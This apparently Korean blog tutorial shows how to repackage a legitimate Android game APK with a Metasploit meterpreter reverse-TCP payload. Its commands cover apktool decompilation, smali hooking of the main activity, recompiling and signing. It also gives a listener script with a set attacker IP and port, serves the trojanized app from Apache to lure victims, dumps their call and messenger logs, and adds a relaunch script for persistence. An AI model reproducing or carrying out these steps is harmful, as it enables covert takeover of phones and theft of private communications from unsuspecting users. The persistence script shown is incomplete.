칼리리눅스에서 apktool은 기본적으로 설치되며 2020-09-27 기준으로 최신 버전은 2.4.1이다. 설치가 안된 경우 apt-get으로 apktool을 직접 설치하거나 아래 사이트에서 원하는 버전을 다운받아 사용한다. https://bitbucket.org/iBotPeaches/apktool/downloads/ 위 사이트에서 받은 파일은 jar이므로 아래와 같은 방식으로 실행해야 한다. # java -jar [ apktool jar 파일 ] [인수]
apk 다운로드
정상적인 apk 파일을 준비한다. 아래 링크에서 앱을 다운받은 뒤 칼리리눅스로 옮긴다. https://www.apkmirror.com/ 필자는 포켓볼 게임 8-Ball_Pool 5.0.1 (arm64-v8a) (Android 4.4+)을 다운받았다.
apk를 추출한 디렉터리로 이동하면 AndroidManifest.xml 파일이 존재한다. 저 파일은 앱의 메인 환경 파일로서 앱을 구성하는 요소들이 등록되어있다.
Activity는 UI가 있는 화면을 제공하는 앱 컴포넌트로서 메인 액티비티는 어플리케이션 최초 시작 시 실행되는 컴포넌트이다. 그 위치에 후킹 코드를 삽입해야 앱 실행 시 바로 악성 행위가 수행된다. 메인 액티비티는 .MAIN과 .LAUNCHER라는 이름이 쌍으로 존재한다.
정상 apk 디렉터리에 존재하는 AndroidManifest.xml 파일을 열어 .MAIN 또는 .LAUNCHER 텍스트를
검색한다.
# gedit app/AndroidManifest.xml
정상 apk 디렉터리에서 메인 액티비티를 가리키고 있는 경로로 이동하면 smali 파일이 존재한다. # gedit app/smali/com/miniclip/eightballpool/EightBallPoolApplication.smali 해당 파일은 재컴파일이 가능하기 때문에, apk 자체 수정이 가능하다.
smali 파일을 열어 처음 앱이 실행하는 함수인 onCreate()V 혹은 onCreate(Landroid/os/Bundle;)V를 검색한다.
정상 apk의 AndroidManifest.xml 파일에 실행 권한을 부여하는 코드를 추가한다. 실행 권한이 중복되어서는 안된다. 해당 코드는 악성 apk의 AndroidManifest.xml 파일에 존재한다.
APK 컴파일
아래 명령어로 apk를 재컴파일 한다. # apktool b app/
만약 apktool 컴파일 과정에서 오류가 발생하는 경우 apktool.jar를 사용한다. jar를 사용하기 전에 apktool의 기록을 먼저 제거한다. # apktool empty-framework-dir --force # java -jar apktool_2.4.1.jar b app/
최종 apk는 dist 디렉터리에 만들어진다.
APK 서명
키 파일이 저장될 디렉터리를 만든 뒤 개인키를 만들고 apk에 키 서명을 진행한다. # mkdir ~/.android # keytool -genkey -v -keystore ~/.android/debug.keystore -storepass android -alias androiddebugkey -keypass android -keyalg RSA -keysize 2048 -validity 9999 # jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -sigalg SHA256withRSA app/dist/8_ballpool.apk androiddebugkey
➽ jarsigner options
-keystore : 키 이름, debug.keystore -storepass : 키 비밀번호, android -alias : 키 별칭, androiddebugkey -keypass : 키 비밀번호 , android -validity : 키 유효 기간, 9999
접속 대기
피해자가 접속할 포트를 열어준다. msfvenom으로 지정했던 IP/포트를 입력해야 한다.
아래의 포트리스닝 명령을 local.rc 파일로 저장한다.
use exploit/multi/handler set payload android/meterpreter/reverse_tcp set lhost 192.168.0.228 set lport 8888 set exitonsession false exploit -j
# msfconsole -r local.rc
APK 설치
웹 서버를 동작시키고 악성 apk를 웹 디렉터리로 옮긴다.
# service apache2 start # cp app/dist/8_ballpool.apk /var/www/html/
공격자는 아래처럼 악성 apk 설치를 유도할 사이트를 만든다.
피해자의 스마트폰에서 악성 apk를 설치하여 실행하는 순간 공격자의 미터프리터 세션과 연결된다.
만약 기기가 루팅되어 있다면 기기에 root 상태로 접근하여 루트 디렉토리의 파일을 변조 할 수 있다. 미터프리터에서 shell에 접속하여 권한을 확인하면 대부분 일반 사용자 권한이다. 이때 루팅이 된 경우 su 명령을 통해 root로 전환할 수 있다.
기기에서 할 수 있는 동작들은 help를 통해 조회할 수 있으며 대표적인 기능으로 전화 기록이나 메신저 기록 등을 가져오는 명령을 실행해본다.
덤프 파일을 열면 아래와 같이 감염된 스마트폰의 메신저와 통화 내역을 확인할 수 있다.
백도어 생성
피해자가 앱 실행을 중단하면 세션이 꺼질 수 있다.
아래의 스크립트는 10초 간격으로 앱을 재실행시켜 공격자와의 연결을 유지한다.
1
2
3
4
5
#!/bin/bash
while :
do am start --user 0-a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
이후 아래와 같이 피해자 핸드폰에 script.sh 파일을 업로드하고 shell로 진입하여 해당 셸 파일을 실행한다.
Ctrl + c를 눌러 shell을 종료한다.
만약 스마트폰을 재부팅하면 앱을 다시 실행해야한다.
시스템부팅 시 실행되는프로세스는/system/etc/init에등록되어 있는데
이 곳에 접근하려면 root권한이필요하다. 그 과정은 생략하겠다.
ி 요약
① 정상 앱에 악성 페이로드를 주입하기 위해 msfvenom을 사용한다. ② apk 파일로부터 소스 코드를 추출하고 수정하는 작업을 apktool에서 진행한다. AndroidManifest.xml 파일에 후킹을 등록하고 실행 권한을 부여한다. ③ 개인키를 만들고 apk에 키 서명을 한다. ④ 사회 공학 기법을 활용하여 악성 apk를 배포한다. ⑤ 공격자는 포트 리스닝 상태로 피해자가 접속할 때까지 대기한다. ⑥ 피해자 세션을 획득하면 악성 행위가 가능해진다. ⑦ 피해자와의 연결 유지를 위해 백도어를 생성한다.